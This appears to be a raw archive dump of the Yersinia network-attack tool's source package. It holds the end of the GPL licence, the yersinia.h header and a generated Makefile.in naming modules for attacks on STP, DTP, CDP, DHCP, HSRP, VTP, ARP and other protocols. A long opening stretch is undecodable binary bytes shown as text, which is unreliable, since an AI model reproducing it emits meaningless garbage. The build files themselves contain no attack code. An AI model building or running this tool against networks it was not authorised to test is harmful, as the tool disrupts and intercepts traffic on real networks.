9ÓOï÷ ƒ—þsþF eÖÚZ4ÚѬ\ƒÓ–8†íyqhWHòM¥2‘~›¬ÈJÓÞ{ÀákEõTI«tv~FwvÊËŸ|€Š^†{m‹s®ôÍm-÷¿òf½m·®c»Ýrx°Áø—ýßíÑJ2>ÅlB—÷øÞv]Çjµ¢n׬¾Áúö= Šés“Ø¿|ÎéÏ>$²KhP™¾ßòòô45›×^g}p‹»wpxp›õªÆ¨žpü›zŽ_>áÅ‹'³+ëèg ÍzÃÁƒ78xãË4wî¢\ ¨bœ˜•ª8òZ£1Ñc‡=ºßƒÈÚïV‡(3ûŸ+@oO1/£&‡U¹Œ1l6›+iªãs[ª%/•nFÉô%óíó˜QbÀøÎ¦ÂçŠ ¼|Ñq¶?¨b ¨UMj„o=t]תŸ8„ZeŒÑ“µNÎ g lO9ÛoÙYÃnsD³Ù”žV—½ˆ¾ ‘ °?;¦;9™ÖUdàˆ˜›Í •ð”ÇÒ= ;ö?$6-¶hëPZãrB»"&H¦Ê™”9iRšdˆ¾”§RÉÕM.øvOïmŸè‡„7à•fp‰Þ ôvK×ï‹ßy už!Ðy<¾Y³YßÂU+šº*ꯙ¬2ÆžAˆèÊL3å÷t~*H?%Ù¢?;G¥ÈáºÅ¨c¥çÔZOd$PÄÓcÂù©’€•1ø'gD q޶rÅ ^õ”κ)›ÉJKuÎ(¶FÿòùÔ¥”d(›Vƒnª ó®t&QêÎN9óß<Çœž‘o1¬jœ46Ó¬êÒË/3º1C&ž¼ ‹úø ÕæúÎ=Œs2Ó6 üD%Ž(7Y)æí1yØ-  …ñæÅ_k៧@½ª4ÿ$+å«þýóµ^SÐ(hÊÈNã:f ¹vÚ­·…„¡,*鉽4NÉ'IßœËa ËMøócân[>0‹¹@éM'…ŸH!”s@!Ƶ™1æ’4‘š±íÚ ’¯P8´ÊeèçŠHay§AŠ&gMŒYZ‡äˆQ$œcÉø(Gð–*ˆÂªD$¡:†¡§BQkƒ ^&áV™rDa‚`1ÕØ¬…sžuíZ¬qd•°º* *mF}¸8Yi¥YW†”4ÙYŒ|÷8­6ÚÌzhÑS™ gÄtÂiCVEͫ岲ª›šbÐzª"⬣ë{Yg’HCOb„DËÚOtîKùm,!$2ó÷´‚ÔwD4yèÐa@G]‚fg· ….å¥%®¿:Ì‘¿ª*Œ6“û«¡´R'—&[_œ@…‹äŠò‡}5 µ6¿P@!Ökjñ—º®¦›’óLG”UNš"<ýÐO’È¿ÕU=íË<ž$±läi%³¼mF+Œs‹·)Ïæé=Z¨ˆŒN FK&*¤3Zù·YÁsüßš”•€Øµdw:ŠâM*äS‚ÐÙŠP o¿ÃPÑ޾·¨˜±Y!…{¢†–ÒRΆØhí0ZÀ%º1Ë4>0AaËkÄ1 bˆ±¨àίy¬‚,ˆ®Û‚Ü‹ì”ÒÈvbœþ;G[@5KÖÖxúO" 9NiBi…A\iu1»@i꺡ªj¬uå`FüÜ­Á:éq—Øò˾üûà«zῨ”7âï/fy}mfÿ´ÇÿÜúˆ>[®ÛÆaðÖ®š'ÚUWÓ„ l*¥ð~ÌèUMªE´ ôêÔˆ:‘ é(d 5ûƒå”°9²ÂDÁÖWµ8ö½È·ÍZ€%ÞÓõgìv§ø°/pà”}1"T¤†Ž_ž³Û®¨ª–ªYQ×-ÆXäUÕD…)OtV>ê D“zä¾ ÆÚ¦)p3íx\-5FY§”ÒäzšS*èB{Aðs¿ß hɹY¦JÉ!â¬E)Q‚UJSW5uS¡”á`s0í¯ëFQ9÷Ên¿º6З’ÎSf_ûeæ¿ØvöêÒ}ù˜—3ûç~½vU _§j oyyÊÖu%™,If±VÜDëº.CžæË€V,ä€ó«€ËÙ½T(µ”GšND<Ò”ÞÍŸ®±/—æ@/øÚcK •pÍ•Îå?bCJ¦/÷"e%Á”HhLÁ–ç,3km#P«AÀ2ChÄõ´ßá̘ٗÉ$†é}»—…úZS¹GGwiÛÁâKFá=…wo@¥¢–+.¨9EŒ2PLA^“ÊE2Ivò© ¼´Ö¡Õ|˜…*F`Ì(‚!JÒ›o6Ba·i#Û€<Š‚¥'°ÛÓ÷'Óª¯iV´«uÑjsÔ•¡ªô…Àkçë3úå`³ùx ÿræVŸè×û*Ð?iâ8+¢Ì+†º®§Ì²Îoê¦3JN¿4 É‹¬~ÕÚoQLüh}Á¹Pþ>ãÆ,dÌüA0“1‚ž%jf$ V|v5ÕJ¥|+é\@6å¹h¥Hzœa(TUúZ!A“3ÞKß= ÆÈAЋÖ}q‡–œEåFZ1ôÀ1ónÙÚã*–¨guÜÈ,•sáÂ+ƒVÒ'[s5ÛŠ,Ö ­¶¨½øA‚,©G±JK §V¢*L6È2˜ËYÑ÷;”Nëp‰¶Z­hW MSÑÔ–¶58's“ªªˆ±¹P±Mºƒ—}¹ÆZVm¿Š@¿\5^ÕÓ!ØkŸöBíb"oVœvc©Ø4Í<Œ»0BcÔ]üä@¿4Œp~njv{ñ2x³úàãÄ]OVK@Cù0§ùqG…«)˜K`ë…‰l%(ûp‡‰³ÙŸs5)Ë»zÇ~ßbí–Á{üÐãý@ƒàÄ'ámaàôü9ûî\ÌlÅjµf³9BU5*Yñ Wª Ae F–ŠEl„ÇC«Œj~¢Êäý> ߌ&ÁIk¤Çî‘ñ¶n^kÆ(ºìÖ9¬iK;‘89²SU v¿iÖ›«UKÓÔè¡®ÖêÉo´Z?gKòÉrO=~-³ù/+Я‹eFg—mš¾p4Õ«^øòEN®«Ms¡·—Œž©ëv2l|%ÔÇ@ÏWŒâ^)ã¥ô¼¼Ëœ2ü5o‚^ù…Ó&Úf!ƒÖbˆ˜³™¶#(C½š@>#ì41¶>å\vðm Í+ꪡ©[úvCÓ¬©ë}¿g·ßá‡Nh¸V+S ¢K$¥ÁÐÄwÄÔÓÔ+*×Ð4-)Ùä"$’l&LÑšSZ]@¾i¥KﯧMªC]kìH&Rb{åý€¶–¶i' éBß:Œ6â²=»ý¹@KÃ:Çjµa½^³Z­X¯V«Š¦‘ÖCz T@—ièÒòh™LÆ„r9БUן·ª]–ì—œËÏçséÔòY^øUè ÙšHÍ0ÎRÆ;ÛLÊóäýréŽàº_‰îý±zÒWùa•àÞ„iên.ØïŽî¥–(=ëÔW¨ÂGVÓÐkä^SÊw)–Qfú~4‰uék™ µã”Üyñ„«\K] ·iv ÞàºnO×ía(ÓyO&Š躧àÙn#ûí)eü ÔIDAT9ÎÖlhš†àÆXÚv-¤‘bÇ”’¨âèÅêÉrŠŒ¬°Sœ„¥dwµxèBŒ¬ëšªvåþ@U%¬s¤‹ÊæôüŒ˜íj…V†ºi888äààH%­£mM-«Fä¢N¥ÅÈW"ÐÆ„r¹?_Ö¯¢}½üu9À¿0¥û帴¤Yâ“—&vs6wêÎ4±Àz.·ó’Ds¹^Ÿ·îý*›¥˜VP¯¼#Ò ±éœ˜&«K§0H…RqrkQ ô˜9E’Q„R"±JN Œ¥›”ÚuV[Ð\e©ê†Á CGÕíiû ~è|/–LROÐz^Ö|ˆøaLžÝîœaØIYm+ºn‹)Hźnz‘nÖF êªBi‘À2Z‘µz¦,UîŸ3–ºªDKÀ‡"“.¿WJtŠ"O9è’g¿?¥ÛŸÑÖJYœkÙl9<ut¹Tþe–ퟥª½\ÆÿÚõèË@¿ŒfZ¹ìž5)›« sù¾ÈÖ³àÅ+wi§®à «Å Æ ‘^jÎËË7dü³œ÷b= 4*•œÒX¥‰Á”u’ ¬ÕBŽ! YD§r8$¢MŒB®!œ‹x¯)›2M݈äò(w”"}'‚§ö CG1y oq g$”äüŽ{2žœ«È)b]5­ÎF:ªs²Ë6ÆN¨A)ãF:ÄEf·ßãP2¿ äºN䣕ÊTÎÑ6kÖ«#šö€ÕjMU ®ª-Mm©*‹uzRË%«"o?±M\¾~Ù½ùgÉè×f®µoú<°×>ëuÙ*v©?–ëËR^>LŠÕ…Qú2û2!ãø”Ò}±5×j¡~ ¾»,í;÷9¨‹—D…Ãô{§?Ô$èÑq·Ø£‹ý“xx¥ëÓ}˜=æG–\Ši*ñEþ9æÚüó"×$¸zï;ú¡§ï÷øÐ—Ìž¾'•Õ\žXPn…Rbxé¬ ÓŒu…¡'Ss¬4ÔU6Fzs?L¶K1z´Q¢ ï‡iþ"Õœ´;Æ(šºesp›Íú€ªn Nã*M]I;§Ñ¶TZIžd]+cœÏ”9?-ƒþ2ƒýrÀ_™ýBúr»DËYü*³92…:ýJP©K¹ó•>]éW÷lÓMœ”è/®ì.—ðŸà†yõ\€K‡‹zåu§$N¯càRöÉ#ºl¢¹ ëv†ÿ7E˜É!)¦à ¾eãsI…y%òM"¿4ùáù¾Qì“Þ!R)ªTÌ F ‘˜UÊ”{Ä Œ”ZÉ’mÓPÕBpüPÄ?˜$žE¸"OØéÛˆmTަY±Yߢ®³pWiªJSYWìŒ3¹g:Ëð³m5Mc¸S—ûá?©ä—u\5|»²ø¢úUÁ~£dÎà}bðéSWgVéBJ¿ò½Wn¤ºœÏ¯¹ÑcI?Vy"™²|žÖgùÒs2åÔA¨IôAé^+Æó}P Þäš2 &JV¢¶Z™Y0i§ÇË_²»‘P,•FŠ.[ŒÅ 'Lê®ÊI@\x•Ï_K½½y“1+Ö(¥§­…Ö2w±¦ÆYKÕMMS7Ôõz˜ úMa«B‚µýÔb· líÊ^è×M³ÿ2ý³<Ægy>_¸ýª0Þü«ô´RVè˜'ðÉÔ›/¦ÝðìWmÜÈ•¹·^Øï^5Gxõ›ó÷ò0RH.ÓYr­Ä¯*®0<3º‹˜bA\Ên±FR²”SJ¦ÛŒQ…Ooæ5YÜdl¡ÄNFˆyÜÉ'R2…ê Y¨´ Y&ý’Í‹F’;…H,ä†ÒR„¢%—&rÑD0º¼æy5Y!fDžºõ×o¨ùX+vÄR²¬-`"%bTŒZî*I]wý©=ñu•Ù¯2È?ëÏÚ/j/‡pKeÌËŠŽ…9 ÊK.üÏU.äUh«EŸ,sqp–G›¡x¹ø|_3G¿þæ«‹U…šÑÞRk_¨Æiý¼K¿€–›Œ$C«éä²#Ö—P}eP¸˜0ȪNMþcÆ4+®¦8ƒZæYÂŒGÅò:¶]*¥|"; 'gQ³ÉÄ l´‰ªªôÄÜÒj4·P‚€³ÆVX+ë1k¨é[q,¦(îZ« ò­ óR®ŽLÅÌü¾gUh¸Ûª«PiY™ü ö_»@ÿ´‰äòÍÒ:͵(ó<›†dy<ùü¶<îÛçƒEñóßü<ƒ[ $ó…ÁàtŒ¨9–k .íï O^ARsRó¨¹LYBw‘¦ ©$KæÏ nSÃ@šî™…EUQà·¦ ð¦-“ï]JÅ)',Vž¥”OK“Êi€·Ø]ëq¦‹D“-SWxýJRè¢ûÆÄ´FäÂ2ÃÈsµøs<ÑrbšüeÞ_öõ… ôÏvóÕTÖíù…×êÚì;EÐø®>[¤/~¾ òr¾ð.¯üf 5¯÷–ýzq™´çÇl¯5fúEª@weU5W>ãŠkü]R5Œ\팖¸Õ#빤ÖRþo*SýLT•ò…C(g+CA—'ñË\à¹9§ÙP³ ÙÆç8FoBÔ•ì^(u¹UZ«ÒÕ•lrÊ#Éx;\’5ª”ò¿êáÚM ÿ¹€ë«æir¾ŒÙâ­3Åû<3g~uñÀ¸@{U,»ƒ|Ý“ÉópÀs…ñ¸ú°˜ÚË2y¦ ÎÔp5ü‚ƒO‹Õœx¿«…‡ìÚSí8“M!§‰¤ˆI•`] ¤Õd¤jʤ™o_öäªhÒi•Êc«éšª Ç?·Sã9ªPå1ËÕŠÖ q%³˜Š3yb¾²žÍ3o!9­»Cä×ý²¿î/P•AËÕ!?ÿ=_’’ÊW¦ÿe_½C¿øÁºþ—Œý¢.Á/¬ÒÔ«š€ž ƒDµàÓŠ²kÊË Copyright (C) 19yy This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) 19yy name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. yersinia-0.7.3/src/0000755000175000017500000000000012234207266011741 5ustar nknkyersinia-0.7.3/src/yersinia.h0000644000175000017500000000464012234207266013741 0ustar nknk/* yersinia.h * Definitions for application main entry point and command line client * * $Id: yersinia.h 43 2007-04-27 11:07:17Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __YERSINIA_H__ #define __YERSINIA_H__ #ifdef HAS_CURSES #include "ncurses-gui.h" #endif #ifdef HAVE_GTK #include "gtk-gui.h" #endif #include "interfaces.h" #include "parser.h" #include "terminal-defs.h" #include "attack.h" #include "global.h" #ifdef MAX #undef MAX #endif #define MAX(x,y) ( ( x >= y) ? x : y ) struct term_tty *tty_tmp=NULL; struct termios term_parent; void become_daemon(pid_t); void doloop(struct term_node *, int); void sig_alarm( int ); void handle_signals( void ); void handle_signals_parent( void ); int posix_signal( int, void (*handler)(int) ); void final( int ); void final_parent( int ); void clean_exit(void); void g00dbye(void); int8_t init_attribs(struct term_node *); void go_out_error( int8_t *msg, int32_t ); void go_out( char *msg, ... ); void write_log( u_int16_t mode, char *msg, ... ); void init_log(void); void finish_log(void); void init_socket(void); void *th_tty_peer(void *); void th_tty_peer_exit(struct term_node *); void *th_uptime(void *); void th_uptime_clean(void *); void th_uptime_exit(void); int8_t show_vty_motd(void); /* Extern variables...*/ extern struct term_types term_type[]; extern char *vty_motd[]; /* Extern functions...*/ extern int8_t term_motd(void); extern int8_t term_init(void); extern void term_destroy(void); extern void term_delete_all_tty(void); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/Makefile.in0000644000175000017500000004334112234207266014013 0ustar nknk# Makefile.in generated by automake 1.11.3 from Makefile.am. # @configure_input@ # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, # 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011 Free Software # Foundation, Inc. # This Makefile.in is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY, to the extent permitted by law; without # even the implied warranty of MERCHANTABILITY or FITNESS FOR A # PARTICULAR PURPOSE. @SET_MAKE@ # $Id: Makefile.am 43 2007-04-27 11:07:17Z slay $ VPATH = @srcdir@ pkgdatadir = $(datadir)/@PACKAGE@ pkgincludedir = $(includedir)/@PACKAGE@ pkglibdir = $(libdir)/@PACKAGE@ pkglibexecdir = $(libexecdir)/@PACKAGE@ am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd install_sh_DATA = $(install_sh) -c -m 644 install_sh_PROGRAM = $(install_sh) -c install_sh_SCRIPT = $(install_sh) -c INSTALL_HEADER = $(INSTALL_DATA) transform = $(program_transform_name) NORMAL_INSTALL = : PRE_INSTALL = : POST_INSTALL = : NORMAL_UNINSTALL = : PRE_UNINSTALL = : POST_UNINSTALL = : build_triplet = @build@ host_triplet = @host@ target_triplet = @target@ bin_PROGRAMS = yersinia$(EXEEXT) @HAS_CURSES_TRUE@am__append_1 = $(CURSES_INCLUDEDIR) @HAS_CURSES_TRUE@am__append_2 = -lpanel $(CURSES_LIBS) @HAS_CURSES_TRUE@am__append_3 = \ @HAS_CURSES_TRUE@ ncurses-gui.c ncurses-gui.h\ @HAS_CURSES_TRUE@ ncurses-callbacks.c ncurses-callbacks.h\ @HAS_CURSES_TRUE@ ncurses-interface.c ncurses-interface.h @HAVE_GTK_TRUE@am__append_4 = @PACKAGE_CFLAGS@ @HAVE_GTK_TRUE@am__append_5 = -DPACKAGE_DATA_DIR=\""$(datadir)"\" -DPACKAGE_LOCALE_DIR=\""$(prefix)/$(DATADIRNAME)/locale"\" @HAVE_GTK_TRUE@am__append_6 = \ @HAVE_GTK_TRUE@ gtk-gui.c gtk-gui.h\ @HAVE_GTK_TRUE@ gtk-support.c gtk-support.h \ @HAVE_GTK_TRUE@ gtk-interface.c gtk-interface.h \ @HAVE_GTK_TRUE@ gtk-callbacks.c gtk-callbacks.h @HAVE_REMOTE_ADMIN_TRUE@am__append_7 = admin.c admin.h commands.c commands.h commands-struct.h subdir = src DIST_COMMON = $(srcdir)/Makefile.am $(srcdir)/Makefile.in \ $(srcdir)/config.h.in ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 am__aclocal_m4_deps = $(top_srcdir)/acinclude.m4 \ $(top_srcdir)/configure.in am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ $(ACLOCAL_M4) mkinstalldirs = $(SHELL) $(top_srcdir)/mkinstalldirs CONFIG_HEADER = config.h CONFIG_CLEAN_FILES = CONFIG_CLEAN_VPATH_FILES = am__installdirs = "$(DESTDIR)$(bindir)" PROGRAMS = $(bin_PROGRAMS) am__yersinia_SOURCES_DIST = xstp.c parser.c dtp.c dtp.h parser.h \ xstp.h global.h cdp.c cdp.h dhcp.c dhcp.h hsrp.h hsrp.c \ dot1q.h dot1q.c vtp.h vtp.c arp.h arp.c isl.h isl.c dot1x.h \ dot1x.c mpls.c mpls.h thread-util.h thread-util.c terminal.c \ terminal.h terminal-defs.h interfaces.h interfaces.c attack.h \ attack.c yersinia.h yersinia.c md5.c md5.h md5-sum.c md5-sum.h \ protocols.h protocols.c dlist.h dlist.c ncurses-gui.c \ ncurses-gui.h ncurses-callbacks.c ncurses-callbacks.h \ ncurses-interface.c ncurses-interface.h gtk-gui.c gtk-gui.h \ gtk-support.c gtk-support.h gtk-interface.c gtk-interface.h \ gtk-callbacks.c gtk-callbacks.h admin.c admin.h commands.c \ commands.h commands-struct.h @HAS_CURSES_TRUE@am__objects_1 = ncurses-gui.$(OBJEXT) \ @HAS_CURSES_TRUE@ ncurses-callbacks.$(OBJEXT) \ @HAS_CURSES_TRUE@ ncurses-interface.$(OBJEXT) @HAVE_GTK_TRUE@am__objects_2 = gtk-gui.$(OBJEXT) gtk-support.$(OBJEXT) \ @HAVE_GTK_TRUE@ gtk-interface.$(OBJEXT) gtk-callbacks.$(OBJEXT) @HAVE_REMOTE_ADMIN_TRUE@am__objects_3 = admin.$(OBJEXT) \ @HAVE_REMOTE_ADMIN_TRUE@ commands.$(OBJEXT) am_yersinia_OBJECTS = xstp.$(OBJEXT) parser.$(OBJEXT) dtp.$(OBJEXT) \ cdp.$(OBJEXT) dhcp.$(OBJEXT) hsrp.$(OBJEXT) dot1q.$(OBJEXT) \ vtp.$(OBJEXT) arp.$(OBJEXT) isl.$(OBJEXT) dot1x.$(OBJEXT) \ mpls.$(OBJEXT) thread-util.$(OBJEXT) terminal.$(OBJEXT) \ interfaces.$(OBJEXT) attack.$(OBJEXT) yersinia.$(OBJEXT) \ md5.$(OBJEXT) md5-sum.$(OBJEXT) protocols.$(OBJEXT) \ dlist.$(OBJEXT) $(am__objects_1) $(am__objects_2) \ $(am__objects_3) yersinia_OBJECTS = $(am_yersinia_OBJECTS) am__DEPENDENCIES_1 = @HAVE_GTK_TRUE@yersinia_DEPENDENCIES = $(am__DEPENDENCIES_1) DEFAULT_INCLUDES = -I.@am__isrc@ depcomp = am__depfiles_maybe = COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \ $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) CCLD = $(CC) LINK = $(CCLD) $(AM_CFLAGS) $(CFLAGS) $(AM_LDFLAGS) $(LDFLAGS) -o $@ SOURCES = $(yersinia_SOURCES) DIST_SOURCES = $(am__yersinia_SOURCES_DIST) ETAGS = etags CTAGS = ctags DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) ACLOCAL = @ACLOCAL@ AMTAR = @AMTAR@ AUTOCONF = @AUTOCONF@ AUTOHEADER = @AUTOHEADER@ AUTOMAKE = @AUTOMAKE@ AWK = @AWK@ CATALOGS = @CATALOGS@ CATOBJEXT = @CATOBJEXT@ CC = @CC@ CCDEPMODE = @CCDEPMODE@ CFLAGS = @CFLAGS@ CPP = @CPP@ CPPFLAGS = @CPPFLAGS@ CURSES_INCLUDEDIR = @CURSES_INCLUDEDIR@ CURSES_LIBS = @CURSES_LIBS@ CYGPATH_W = @CYGPATH_W@ DATADIRNAME = @DATADIRNAME@ DEFS = `$(LIBNET_CONFIG) --defines` @DEFS@ $(am__append_5) DEPDIR = @DEPDIR@ ECHO_C = @ECHO_C@ ECHO_N = @ECHO_N@ ECHO_T = @ECHO_T@ EGREP = @EGREP@ EXEEXT = @EXEEXT@ GETTEXT_PACKAGE = @GETTEXT_PACKAGE@ GMOFILES = @GMOFILES@ GMSGFMT = @GMSGFMT@ GREP = @GREP@ INSTALL = @INSTALL@ INSTALL_DATA = @INSTALL_DATA@ INSTALL_PROGRAM = @INSTALL_PROGRAM@ INSTALL_SCRIPT = @INSTALL_SCRIPT@ INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ INSTOBJEXT = @INSTOBJEXT@ INTLLIBS = @INTLLIBS@ LDFLAGS = @LDFLAGS@ LIBNET_CONFIG = @LIBNET_CONFIG@ LIBNET_INCLUDE = @LIBNET_INCLUDE@ LIBNET_LINK = @LIBNET_LINK@ LIBOBJS = @LIBOBJS@ LIBS = @LIBS@ -lpcap -lnet $(am__append_2) LTLIBOBJS = @LTLIBOBJS@ MAKEDEPEND = @MAKEDEPEND@ MAKEINFO = @MAKEINFO@ MKDIR_P = @MKDIR_P@ MKINSTALLDIRS = @MKINSTALLDIRS@ MSGFMT = @MSGFMT@ MSGFMT_OPTS = @MSGFMT_OPTS@ OBJEXT = @OBJEXT@ PACKAGE = @PACKAGE@ PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ PACKAGE_CFLAGS = @PACKAGE_CFLAGS@ PACKAGE_LIBS = @PACKAGE_LIBS@ PACKAGE_NAME = @PACKAGE_NAME@ PACKAGE_STRING = @PACKAGE_STRING@ PACKAGE_TARNAME = @PACKAGE_TARNAME@ PACKAGE_URL = @PACKAGE_URL@ PACKAGE_VERSION = @PACKAGE_VERSION@ PATH_SEPARATOR = @PATH_SEPARATOR@ PCAP_INCLUDE = @PCAP_INCLUDE@ PCAP_LINK = @PCAP_LINK@ PKG_CONFIG = @PKG_CONFIG@ PKG_CONFIG_LIBDIR = @PKG_CONFIG_LIBDIR@ PKG_CONFIG_PATH = @PKG_CONFIG_PATH@ POFILES = @POFILES@ POSUB = @POSUB@ PO_IN_DATADIR_FALSE = @PO_IN_DATADIR_FALSE@ PO_IN_DATADIR_TRUE = @PO_IN_DATADIR_TRUE@ SET_MAKE = @SET_MAKE@ SHELL = @SHELL@ STRIP = @STRIP@ USE_NLS = @USE_NLS@ VERSION = @VERSION@ XGETTEXT = @XGETTEXT@ abs_builddir = @abs_builddir@ abs_srcdir = @abs_srcdir@ abs_top_builddir = @abs_top_builddir@ abs_top_srcdir = @abs_top_srcdir@ ac_ct_CC = @ac_ct_CC@ am__include = @am__include@ am__leading_dot = @am__leading_dot@ am__quote = @am__quote@ am__tar = @am__tar@ am__untar = @am__untar@ bindir = @bindir@ build = @build@ build_alias = @build_alias@ build_cpu = @build_cpu@ build_os = @build_os@ build_vendor = @build_vendor@ builddir = @builddir@ datadir = @datadir@ datarootdir = @datarootdir@ docdir = @docdir@ dvidir = @dvidir@ exec_prefix = @exec_prefix@ host = @host@ host_alias = @host_alias@ host_cpu = @host_cpu@ host_os = @host_os@ host_vendor = @host_vendor@ htmldir = @htmldir@ includedir = @includedir@ infodir = @infodir@ install_sh = @install_sh@ libdir = @libdir@ libexecdir = @libexecdir@ localedir = @localedir@ localstatedir = @localstatedir@ mandir = @mandir@ mkdir_p = @mkdir_p@ oldincludedir = @oldincludedir@ pdfdir = @pdfdir@ prefix = @prefix@ program_transform_name = @program_transform_name@ psdir = @psdir@ sbindir = @sbindir@ sharedstatedir = @sharedstatedir@ srcdir = @srcdir@ sysconfdir = @sysconfdir@ target = @target@ target_alias = @target_alias@ target_cpu = @target_cpu@ target_os = @target_os@ target_vendor = @target_vendor@ top_build_prefix = @top_build_prefix@ top_builddir = @top_builddir@ top_srcdir = @top_srcdir@ AUTOMAKE_OPTIONS = no-dependencies INCLUDES = $(am__append_1) $(am__append_4) yersinia_SOURCES = xstp.c parser.c dtp.c dtp.h parser.h xstp.h \ global.h cdp.c cdp.h dhcp.c dhcp.h hsrp.h hsrp.c dot1q.h \ dot1q.c vtp.h vtp.c arp.h arp.c isl.h isl.c dot1x.h dot1x.c \ mpls.c mpls.h thread-util.h thread-util.c terminal.c \ terminal.h terminal-defs.h interfaces.h interfaces.c attack.h \ attack.c yersinia.h yersinia.c md5.c md5.h md5-sum.c md5-sum.h \ protocols.h protocols.c dlist.h dlist.c $(am__append_3) \ $(am__append_6) $(am__append_7) @HAVE_GTK_TRUE@yersinia_LDADD = @PACKAGE_LIBS@ $(INTLLIBS) all: config.h $(MAKE) $(AM_MAKEFLAGS) all-am .SUFFIXES: .SUFFIXES: .c .o .obj $(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) @for dep in $?; do \ case '$(am__configure_deps)' in \ *$$dep*) \ ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \ && { if test -f $@; then exit 0; else break; fi; }; \ exit 1;; \ esac; \ done; \ echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu src/Makefile'; \ $(am__cd) $(top_srcdir) && \ $(AUTOMAKE) --gnu src/Makefile .PRECIOUS: Makefile Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status @case '$?' in \ *config.status*) \ cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ *) \ echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \ cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \ esac; $(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(top_srcdir)/configure: $(am__configure_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(ACLOCAL_M4): $(am__aclocal_m4_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(am__aclocal_m4_deps): config.h: stamp-h1 @if test ! -f $@; then rm -f stamp-h1; else :; fi @if test ! -f $@; then $(MAKE) $(AM_MAKEFLAGS) stamp-h1; else :; fi stamp-h1: $(srcdir)/config.h.in $(top_builddir)/config.status @rm -f stamp-h1 cd $(top_builddir) && $(SHELL) ./config.status src/config.h $(srcdir)/config.h.in: $(am__configure_deps) ($(am__cd) $(top_srcdir) && $(AUTOHEADER)) rm -f stamp-h1 touch $@ distclean-hdr: -rm -f config.h stamp-h1 install-binPROGRAMS: $(bin_PROGRAMS) @$(NORMAL_INSTALL) test -z "$(bindir)" || $(MKDIR_P) "$(DESTDIR)$(bindir)" @list='$(bin_PROGRAMS)'; test -n "$(bindir)" || list=; \ for p in $$list; do echo "$$p $$p"; done | \ sed 's/$(EXEEXT)$$//' | \ while read p p1; do if test -f $$p; \ then echo "$$p"; echo "$$p"; else :; fi; \ done | \ sed -e 'p;s,.*/,,;n;h' -e 's|.*|.|' \ -e 'p;x;s,.*/,,;s/$(EXEEXT)$$//;$(transform);s/$$/$(EXEEXT)/' | \ sed 'N;N;N;s,\n, ,g' | \ $(AWK) 'BEGIN { files["."] = ""; dirs["."] = 1 } \ { d=$$3; if (dirs[d] != 1) { print "d", d; dirs[d] = 1 } \ if ($$2 == $$4) files[d] = files[d] " " $$1; \ else { print "f", $$3 "/" $$4, $$1; } } \ END { for (d in files) print "f", d, files[d] }' | \ while read type dir files; do \ if test "$$dir" = .; then dir=; else dir=/$$dir; fi; \ test -z "$$files" || { \ echo " $(INSTALL_PROGRAM_ENV) $(INSTALL_PROGRAM) $$files '$(DESTDIR)$(bindir)$$dir'"; \ $(INSTALL_PROGRAM_ENV) $(INSTALL_PROGRAM) $$files "$(DESTDIR)$(bindir)$$dir" || exit $$?; \ } \ ; done uninstall-binPROGRAMS: @$(NORMAL_UNINSTALL) 